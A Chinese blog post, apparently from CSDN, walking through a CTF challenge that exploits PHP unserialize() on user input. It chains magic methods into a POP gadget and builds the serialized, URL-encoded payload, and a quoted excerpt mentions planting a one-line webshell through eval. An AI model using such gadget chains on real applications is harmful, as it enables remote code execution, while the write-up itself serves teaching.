PHP反序列化漏洞之pop链2
创始人
2024-05-24 05:24:18
0

目录

题目:

题目代码:

分析:代码审计

通过以上分析,最终我们构建这个payload:

结果:

 目标达到!


题目:

 这个题目分析就有难度了,需要掌握php的魔法方法的使用以及调用条件。

初识PHP反序列化_奋斗的小智的博客-CSDN博客但是如果想注入恶意payload,还需要对$test的值进行覆盖,题目中已经给出了序列化链,很明显是对类A的$test变量进行覆盖,将POST接收的phpin佛()值覆盖所定义的值,这里也可以传入一句话木马等,利用我们的eval危险函数(任意命令执行)进行执行。在执行unserialize()方法时会触发__wakeup()方法执行,将传入的字符串反序列化后,会替换掉test类里面$test变量的值,将php探针写入flag.php文件中,并通过下面的require引用,导致命令执行。https://blog.csdn.net/weixin_60719780/article/details/128795216?spm=1001.2014.3001.5501php反序列化漏洞之pop链_奋斗的小智的博客-CSDN博客常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的 " gadget " 找到漏洞点。把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与https://blog.csdn.net/weixin_60719780/article/details/128943473?spm=1001.2014.3001.5501

题目代码:

mod1->test1();}
}
class Call
{public $mod1;public $mod2;public function test1(){$this->mod1->test2();}
}
class funct
{public $mod1;public $mod2;public function __call($test2,$arr){$s1 = $this->mod1;$s1();}
}
class func
{public $mod1;public $mod2;public function __invoke(){$this->mod2 = "字符串拼接".$this->mod1;} 
}
class string1
{public $str1;public $str2;public function __toString(){$this->str1->get_flag();return "1";}
}
class GetFlag
{public function get_flag(){echo "flag:xxxxxxxxxxxx";}
}
$a = $_GET['string'];
unserialize($a);
?>

分析:代码审计

首先查看php的魔术方法,该题目涉及了(__destruct()、__call($test2,$arr)、__invoke()、__toString()),我们的目的是要拿到flag。

第一步;要拿到flag,首先我们要进入get_flag函数里,而且还在GetFlag的类中,我们要进入这个类中;在__toString方法中,有这样一段代码:$this->str1->get_flag(); 我们可以把str1设为GetFlag,并且string1要为字符串,这是__tostring方法的条件。

即:$this->str1 = new GetFlag()

第二步:发现类func中存在__invoke方法执行了字符串拼接,所以我们需要把func当成函数使用自动调用__invoke,所以mod1的值为string1

即:$this->mod1 = new string1()   这样的话在字符串拼接的时候就会触发魔术方法__toString()

第三步:在funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在__call方法中,且参数为$test2,即无法调用test2方法时自动调用 __call方法;

即:$this->mod1 = new func()   将func类作为函数调用就会触发魔术方法__invoke()

第四步:在Call中的test1方法中存在$this->mod1->test2();,需要把$mod1赋值为funct的对象,让__call自动调用。

即:$this->mod1 = new funct()   因为$test2()方法不存在,当$this->mod1调用的时候会触发魔术方法__call()

第五步:查找test1方法的调用点,在start_gg中发现$this->mod1->test1();,把$mod1赋值为Call类的对象,等待__destruct()自动调用。这个程序的起点就在这里

即:$this->mod1 = new Call()

通过以上分析,最终我们构建这个payload:

mod1 = new Call();//把$mod1赋值为Call类对象}public function __destruct(){$this->mod1->test1();}
}
class Call
{public $mod1;public $mod2;public function __construct(){$this->mod1 = new funct();//把 $mod1赋值为funct类对象}public function test1(){$this->mod1->test2();}
}class funct
{public $mod1;public $mod2;public function __construct(){$this->mod1= new func();//把 $mod1赋值为func类对象}public function __call($test2,$arr){$s1 = $this->mod1;$s1();}
}
class func
{public $mod1;public $mod2;public function __construct(){$this->mod1= new string1();//把 $mod1赋值为string1类对象}public function __invoke(){$this->mod2 = "字符串拼接".$this->mod1;}
}
class string1
{public $str1;public function __construct(){$this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象}public function __toString(){$this->str1->get_flag();return "1";}
}
class GetFlag
{public function get_flag(){echo "flag:"."xxxxxxxxxxxx";}
}
$b = new start_gg;
//构造start_gg类对象$b
echo urlencode(serialize($b));
//显示输出url编码后的序列化对象

结果:

我们先执行下payload.php

 拿到结果后,我们构建url

 目标达到!

相关内容

热门资讯

监控摄像头接入GB28181平... 流程简介将监控摄像头的视频在网站和APP中直播,要解决的几个问题是:1&...
【PdgCntEditor】解... 一、问题背景 大部分的图书对应的PDF,目录中的页码并非PDF中直接索引的页码...
在Word、WPS中插入AxM... 引言 我最近需要写一些文章,在排版时发现AxMath插入的公式竟然会导致行间距异常&#...
protocol buffer... 目录 目录 什么是protocol buffer 1.protobuf 1.1安装  1.2使用...
修复 爱普生 EPSON L4... L4151 L4153 L4156 L4158 L4163 L4165 L4166 L4168 L4...
Windows10添加群晖磁盘... 在使用群晖NAS时,我们需要通过本地映射的方式把NAS映射成本地的一块磁盘使用。 通过...
Fluent中创建监测点 1 概述某些仿真问题,需要创建监测点,用于获取空间定点的数据࿰...
ChatGPT 怎么用最新详细... ChatGPT 以其强大的信息整合和对话能力惊艳了全球,在自然语言处理上面表现出了惊人...
educoder数据结构与算法...                                                   ...
MySQL下载和安装(Wind... 前言:刚换了一台电脑,里面所有东西都需要重新配置,习惯了所...